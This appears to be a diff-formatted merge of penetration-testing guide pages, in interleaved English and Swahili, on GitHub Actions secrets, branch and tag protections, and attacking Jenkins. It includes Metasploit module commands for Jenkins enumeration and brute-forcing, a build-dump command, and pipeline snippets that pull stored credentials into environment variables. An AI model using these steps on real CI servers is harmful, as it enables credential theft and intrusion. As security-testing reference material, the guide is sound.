#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
#### Mfano wa kutumia Bash <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **can only be accessed from the Github Actions** that have them declared.
> Secrets **zinaweza kupatikana tu kutoka kwa Github Actions** ambazo zimewekwa.
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
> Mara tu zinapowekwa kwenye repo au kwa mashirika, **watumiaji wa github hawataweza kuzipata tena**, wataweza tu **kuzibadilisha**.
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
Kwa hivyo, njia pekee ya kuiba github secrets ni kuwa na uwezo wa kupata mashine inayotekeleza Github Action (katika hali hiyo utaweza kupata tu secrets zilizoelezwa kwa ajili ya Action).
### Git Environments
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
Github inaruhusu kuunda **environments** ambapo unaweza kuhifadhi **secrets**. Kisha, unaweza kumpa github action ruhusa ya kufikia secrets ndani ya environment kwa kitu kama:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
deployment:
runs-on: ubuntu-latest
environment: env_name
```
Unaweza kusanidi environment ili iweze kufikiwa na **tawi zote** (default), **tawi zilizolindwa pekee** au **kubainisha** ni matawi gani yanaweza kuifikia.\
Zaidi ya hayo, ulinzi wa environment unajumuisha:
- **Required reviewers**: huzuia jobs zinazolenga environment mpaka zithibitishwe. Washa **Prevent self-review** ili kutekeleza kanuni ya foureyes kwenye idhini yenyewe.
- **Deployment branches and tags**: zuia matawi/tags ambayo yanaweza ku-deploy kwenye environment. Inashauriwa kuchagua matawi/tags maalum na kuhakikisha matawi hayo yanalindwa. Kumbuka: chaguo "Protected branches only" kinahusu classic branch protections na huenda kisifanye kazi kama inavyotarajiwa ikiwa unatumia rulesets.
- **Wait timer**: chelewesha deployments kwa muda unaoweza kusanidiwa.
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper foureyes principle on the approval itself.
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
- **Wait timer**: delay deployments for a configurable period.
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
Pia inaweza kuweka **idadi ya uhakiki unaohitajika** kabla ya **kufanya** **kazi** kwa **environment** au **kusubiri** muda fulani kabla ya kuruhusu deployments kuendelea.
### Git Action Runner
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
Github Action inaweza ku **endeshwa ndani ya github environment** au inaweza kuendeshwa katika **miundombinu ya mtu wa tatu** iliyosanidiwa na mtumiaji.
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
Shirika kadhaa zitawawezesha kuendesha Github Actions katika **miundombinu ya mtu wa tatu** kwa sababu kawaida hupatikana kuwa **gharama nafuu**.
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
Unaweza **orodhesha self-hosted runners** za shirika katika _https://github.com/organizations/\<org_name>/settings/actions/runners_
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
Njia ya kupata ni Github Actions gani zinatekelezwa katika miundombinu isiyo ya github ni kutafuta `runs-on: self-hosted` katika faili ya kusanidi Github Action yaml.
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
Haiwezekani kuendesha Github Action ya shirika ndani ya sanduku ya self hosted ya shirika tofauti kwa sababu **token tofauti** huzalishwa kwa Runner wakati wa kuisanidi ili ijue runner inatoka wapi.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
Kama Github Runner maalum imesanidiwa katika mashine ndani ya AWS au GCP kwa mfano, Action inaweza kuwa na ufikiaji wa metadata endpoint na **kuiba token ya service account** ambayo mashine inaendesha nayo.
### Git Action Compromise
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
Ikiwa actions zote (au action yenye nia mbaya) zinakaribishwa mtumiaji anaweza kutumia **Github action** yenye **nia mbaya** ambayo ita **kuharibu** **container** inayotekelezwa ndani yake.
> [!CAUTION]
> A **malicious Github Action** run could be **abused** by the attacker to:
> Run ya **malicious Github Action** inaweza kutumiwa vibaya na mshambulizi kwa:
>
> - **Steal all the secrets** the Action has access to
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
> - **Kuiba secrets zote** ambazo Action ina ufikiaji wa
> - **Kuhamia kwa njia ya lateral** ikiwa Action inaendeshwa ndani ya **miundombinu ya mtu wa tatu** ambapo token ya SA inayotumiwa kuendesha mashine inaweza kupatikana (labda kupitia metadata service)
> - **Kutumia token** inayotumiwa na **workflow** ku **iba code ya repo** ambapo Action inaendeshwa au **hata kuibadilisha**.
## Branch Protections
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Branch protections zimeundwa ili **wasitope udhibiti kamili wa repository** kwa watumiaji. Lengo ni kuweka **mbinu kadhaa za ulinzi kabla ya kuweza kuandika code ndani ya tawi fulani**.
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
**Branch protections za repository** zinaweza kupatikana katika _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
> Haiwezekani **kuweka branch protection kwa ngazi ya shirika**. Kwa hivyo zote lazima ziwe zimetangazwa kwa kila repo.
Different protections can be applied to a branch (like to master):
Ulinzi tofauti unaweza kutumika kwa tawi (kama master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
- Unaweza **kuhitaji PR kabla ya ku-merge** (hivyo huwezi kuunganisha code moja kwa moja kwenye tawi). Ikiwa hii imechaguliwa, ulinzi mwingine unaweza kuwepo:
- **Require a number of approvals**. Ni kawaida kutaka watu 1 au 2 zaidi kuidhinisha PR yako ili mtumiaji mmoja asiweze ku-merge code moja kwa moja.
- **Dismiss approvals when new commits are pushed**. Ikiwa sio hivyo, mtumiaji anaweza kuidhinisha code halali kisha kuongeza code yenye madhara na ku-merge.
- **Require approval of the most recent reviewable push**. Hii inahakikisha kwamba commits mpya baada ya idhini (ikiwa ni pamoja na pushes za washiriki wengine) zinasababisha upya uhakiki ili mshambuliaji asiweze kutuma mabadiliko baada ya idhini na ku-merge.
- **Require reviews from Code Owners**. Angalau code owner mmoja wa repo anahitaji kuidhinisha PR (hivyo watumiaji "wasiofahamika" hawawezi kuidhinisha)
- **Restrict who can dismiss pull request reviews.** Unaweza kubainisha watu au timu zinazoruhusiwa kukataa uhakiki wa pull request.
- **Allow specified actors to bypass pull request requirements**. Watumiaji hawa watakuwa na uwezo wa kuruka vikwazo vilivyotajwa hapo juu.
- **Require status checks to pass before merging.** Baadhi ya checks zinahitaji kupita kabla ya kuweza ku-merge commit (kama GitHub App inayoripoti matokeo ya SAST). Vidokezo: wahusishe required checks na GitHub App maalum; vinginevyo app yoyote inaweza kuiga check kupitia Checks API, na bots nyingi zinakubali maagizo ya kuruka (mfano, "@bot-name skip").
- **Require conversation resolution before merging**. Maoni yote kwenye code yanahitaji kutatuliwa kabla PR inaweza ku-merge.
- **Require signed commits**. Commits zinahitaji kusainiwa.
- **Require linear history.** Zuia merge commits kutumwa kwenye matawi yanayolingana.
- **Include administrators**. Ikiwa hii haijawekwa, admins wanaweza kuruka vizuizi.
- **Restrict who can push to matching branches**. Zuia nani anaweza kutuma PR.
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> Kama unavyoona, hata ikiwa umeweza kupata nywila za mtumiaji fulani, **repo zinaweza kulindwa zikizuia wewe kutuma code kwenye master** kwa mfano ili kuharibu pipeline ya CI/CD.
## Tag Protections
Tags (like latest, stable) are mutable by default. To enforce a foureyes flow on tag updates, protect tags and chain protections through environments and branches:
Tags (kama latest, stable) zinabadilika kwa default. Ili kutekeleza mtiririko wa foureyes kwenye masasisho ya tag, linda tags na tenganisha ulinzi kupitia environments na matawi:
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
1) Kwenye kanuni ya ulinzi wa tag, washwa **Require deployments to succeed** na unaweza kuhitaji deployment iliyofanikiwa kwenye environment iliyolindwa (mfano, prod).
2) Kwenye environment lengwa, zuia **Deployment branches and tags** kwa tawi la release (mfano, main) na hiari sanidi **Required reviewers** na **Prevent self-review**.
3) Kwenye tawi la release, sanidi branch protections ili **Require a pull request**, weka approvals ≥ 1, na washwa zote **Dismiss approvals when new commits are pushed** na **Require approval of the most recent reviewable push**.
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
Mnyororo huu unazuia mshiriki mmoja ku-re-tag au kuchapisha kwa nguvu releases kwa kuhariri workflow YAML, kwa kuwa milango ya deployment inatekelezwa nje ya workflows.
## References
@@ -273,5 +267,3 @@ This chain prevents a single collaborator from retagging or force-publishing rel
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Basic Information
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **yoyote** mchanganyiko wa **programming languages** na hazina za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi **hitaji la kuunda scripts kwa hatua za kibinafsi**, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono.
{{#ref}}
basic-jenkins-information.md
@@ -12,74 +12,68 @@ basic-jenkins-information.md
## Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
Ili kutafuta kurasa za kuvutia za Jenkins bila uthibitisho kama (_/people_ au _/asynchPeople_, hii inataja watumiaji wa sasa) unaweza kutumia:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
Angalia kama unaweza kutekeleza amri bila kuhitaji uthibitisho:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Bila kuwa na akidi unaweza kuangalia ndani ya _**/asynchPeople/**_ au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
Unaweza kupata toleo la Jenkins kutoka kwenye njia _**/oops**_ au _**/error**_.
![](<../../images/image (146).png>)
### Known Vulnerabilities
### Uthibitisho wa Hatari
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Login
## Ingia
In the basic information you can check **all the ways to login inside Jenkins**:
Katika taarifa za msingi unaweza kuangalia **njia zote za kuingia ndani ya Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Register
### Jisajili
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
Utakuwa na uwezo wa kupata mifano ya Jenkins ambazo **zinakuruhusu kuunda akaunti na kuingia ndani yake. Rahisi kama hiyo.**
### **SSO Login**
### **SSO Ingia**
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Pia ikiwa **SSO** **ufunctionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye programu kwa kutumia akaunti ya majaribio (yaani, akaunti ya majaribio ya **Github/Bitbucket**). Njia kutoka [**hapa**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
**Jenkins** haina **sera ya nywila** na **kinga ya kujaribu nywila za majina ya watumiaji**. Ni muhimu **kujaribu kwa nguvu** watumiaji kwani **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyogeuzwa kuwa nywila**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
Tumia [hii script ya python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) au [hii script ya powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
Mashirika mengi yanachanganya **mifumo ya usimamizi wa chanzo cha SaaS** kama GitHub au GitLab na **ufumbuzi wa CI** wa ndani, wa kujihifadhi kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI **kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo cha SaaS**, hasa kwa ajili ya kuanzisha kazi za pipeline.
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
Ili kufanikisha hili, mashirika **yanapitia** **mipango ya IP** ya **mifumo ya SCM**, ikiruhusu kufikia **mfumo wa CI wa ndani** kupitia **webhooks**. Hata hivyo, ni muhimu kutambua kwamba **mtu yeyote** anaweza kuunda **akaunti** kwenye GitHub au GitLab na kuikamilisha ili **kuanzisha webhook**, ambayo inaweza kutuma maombi kwa **mfumo wa CI wa ndani**.
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Angalia: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
In these scenarios we are going to suppose you have a valid account to access Jenkins.
Katika hali hizi tutadhani una akaunti halali ya kufikia Jenkins.
> [!WARNING]
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
> Kulingana na **mekanismu ya Uidhinishaji** iliyowekwa katika Jenkins na ruhusa ya mtumiaji aliyeathirika, **unaweza kuwa na uwezo au usiwe na uwezo wa kutekeleza mashambulizi yafuatayo.**
For more information check the basic information:
Kwa maelezo zaidi angalia taarifa za msingi:
{{#ref}}
basic-jenkins-information.md
@@ -87,226 +81,212 @@ basic-jenkins-information.md
### Listing users
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Ikiwa umefikia Jenkins unaweza orodhesha watumiaji wengine waliojiandikisha katika [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
Tumia [hii script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kut hope kupata siri za wazi.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Kuharibu Akiba za SSH**
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
Ikiwa mtumiaji aliyeathirika ana **mamlaka ya kutosha kuunda/kubadilisha node mpya ya Jenkins** na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza **kuiba akiba hizo** kwa kuunda/kubadilisha node na **kuweka mwenyeji ambaye atarekodi akiba hizo** bila kuthibitisha funguo za mwenyeji:
![](<../../images/image (218).png>)
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
Kwa kawaida utapata akiba za ssh za Jenkins katika **mtoa huduma wa kimataifa** (`/credentials/`), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika [**Sehemu ya Kutupa siri**](./#dumping-secrets).
### **RCE in Jenkins**
### **RCE katika Jenkins**
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
Kupata **shell katika seva ya Jenkins** inampa mshambuliaji fursa ya kuvuja **siri zote** na **mabadiliko ya env** na **kufanya mashambulizi kwenye mashine nyingine** zilizoko katika mtandao mmoja au hata **kusanya akiba za wingu**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
Kwa kawaida, Jenkins itakuwa **inaendesha kama SYSTEM**. Hivyo, kuathiriwa kwake kutampa mshambuliaji **mamlaka ya SYSTEM**.
### **RCE Creating/Modifying a project**
### **RCE Kuunda/Kubadilisha mradi**
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
Kuunda/Kubadilisha mradi ni njia ya kupata RCE juu ya seva ya Jenkins:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Execute Groovy script**
### **RCE Kutekeleza script ya Groovy**
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
Unaweza pia kupata RCE kwa kutekeleza script ya Groovy, ambayo inaweza kuwa ya siri zaidi kuliko kuunda mradi mpya:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Creating/Modifying Pipeline
### RCE Kuunda/Kubadilisha Pipeline
You can also get **RCE by creating/modifying a pipeline**:
Unaweza pia kupata **RCE kwa kuunda/kubadilisha pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Pipeline Exploitation
## Ukatili wa Pipeline
To exploit pipelines you still need to have access to Jenkins.
Ili kutumia pipelines bado unahitaji kuwa na ufikiaji wa Jenkins.
### Build Pipelines
### Kujenga Pipelines
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
**Pipelines** zinaweza pia kutumika kama **mekanismu ya kujenga katika miradi**, katika kesi hiyo inaweza kuundwa **faili ndani ya hazina** ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida `/Jenkinsfile` inatumika:
![](<../../images/image (127).png>)
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
Pia inawezekana **hifadhi faili za usanidi wa pipeline mahali pengine** (katika hazina nyingine kwa mfano) kwa lengo la **kutenganisha** ufikiaji wa hazina na ufikiaji wa pipeline.
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
Ikiwa mshambuliaji ana **ufikiaji wa kuandika juu ya faili hiyo** atakuwa na uwezo wa **kuyabadilisha** na **kuzindua** pipeline bila hata kuwa na ufikiaji wa Jenkins.\
Inawezekana kwamba mshambuliaji atahitaji **kupita baadhi ya ulinzi wa tawi** (kutegemea jukwaa na mamlaka za mtumiaji wanaweza kupitishwa au la).
The most common triggers to execute a custom pipeline are:
Vichocheo vya kawaida vya kutekeleza pipeline ya kawaida ni:
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
- **Ombi la kuvuta** kwenye tawi kuu (au labda kwenye matawi mengine)
- **Kusukuma kwenye tawi kuu** (au labda kwenye matawi mengine)
- **Sasisha tawi kuu** na kusubiri hadi itekelezwe kwa namna fulani
> [!NOTE]
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
> Ikiwa wewe ni **mtumiaji wa nje** huwezi kutarajia kuunda **PR kwa tawi kuu** la hazina ya **mtumiaji/taasisi nyingine** na **kuzindua pipeline**... lakini ikiwa ime **pangwa vibaya** unaweza kabisa **kuathiri kampuni kwa kutumia hili**.
### Pipeline RCE
### RCE ya Pipeline
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
Katika sehemu ya awali ya RCE tayari ilionyeshwa mbinu ya [**kupata RCE kwa kubadilisha pipeline**](./#rce-creating-modifying-pipeline).
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
### Kuangalia Mabadiliko ya env
Inawezekana kutangaza **mabadiliko ya env ya maandiko wazi** kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya env **hayapaswi kuwa na taarifa nyeti**, lakini mshambuliaji anaweza kila wakati **kuangalia usanidi wote wa pipeline**/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Kutolewa kwa siri
### Dumping secrets
For information about how are secrets usually treated by Jenkins check out the basic information:
Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za msingi:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
Akreditivu zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) au kwa **miradi maalum** (`/job/<project-name>/configure`). Hivyo, ili kutoa siri zote unahitaji **kushambulia angalau miradi yote** ambayo ina siri na kutekeleza mipangilio ya kawaida/iliyoshambuliwa.
Kuna tatizo lingine, ili kupata **siri ndani ya env** ya mpangilio unahitaji **kujua jina na aina ya siri**. Kwa mfano, unajaribu **kuchota** **`usernamePassword`** **siri** kama **`string`** **siri** utapata **kosa** hili:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Here you have the way to load some common secret types:
Hapa kuna njia ya kupakia aina fulani za siri za kawaida:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
Mwisho wa ukurasa huu unaweza **kupata aina zote za hati**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
> Njia bora ya **kutoa siri zote kwa wakati mmoja** ni kwa **kuathiri** mashine ya **Jenkins** (kufanya kazi na shell ya nyuma katika **node iliyo ndani** kwa mfano) na kisha **kuvuja** **funguo kuu** na **siri zilizofichwa** na kuzifungua bila mtandao.\
> Zaidi kuhusu jinsi ya kufanya hivi katika [sehemu ya Nodes & Agents](./#nodes-and-agents) na katika [sehemu ya Post Exploitation](./#post-exploitation).
### Triggers
### Vichocheo
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
Kutoka [nyaraka](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Maagizo ya `triggers` yanafafanua **njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena**. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, `triggers` huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Vichocheo vilivyopo kwa sasa ni `cron`, `pollSCM` na `upstream`.
Mfano wa Cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
Check **other examples in the docs**.
Angalia **esempu nyingine katika hati**.
### Nodes & Agents
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
**Jenkins instance** inaweza kuwa na **wakala tofauti wakifanya kazi kwenye mashine tofauti**. Kutoka kwa mtazamo wa mshambuliaji, ufikiaji wa mashine tofauti unamaanisha **akili tofauti za wingu** za kuiba au **ufikiaji tofauti wa mtandao** ambao unaweza kutumika vibaya kuendeleza mashine nyingine.
For more information check the basic information:
Kwa maelezo zaidi angalia taarifa za msingi:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
Unaweza kuhesabu **nodes zilizowekwa** katika `/computer/`, kwa kawaida utapata \*\*`Built-In Node` \*\* (ambayo ni node inayokimbia Jenkins) na labda zaidi:
![](<../../images/image (249).png>)
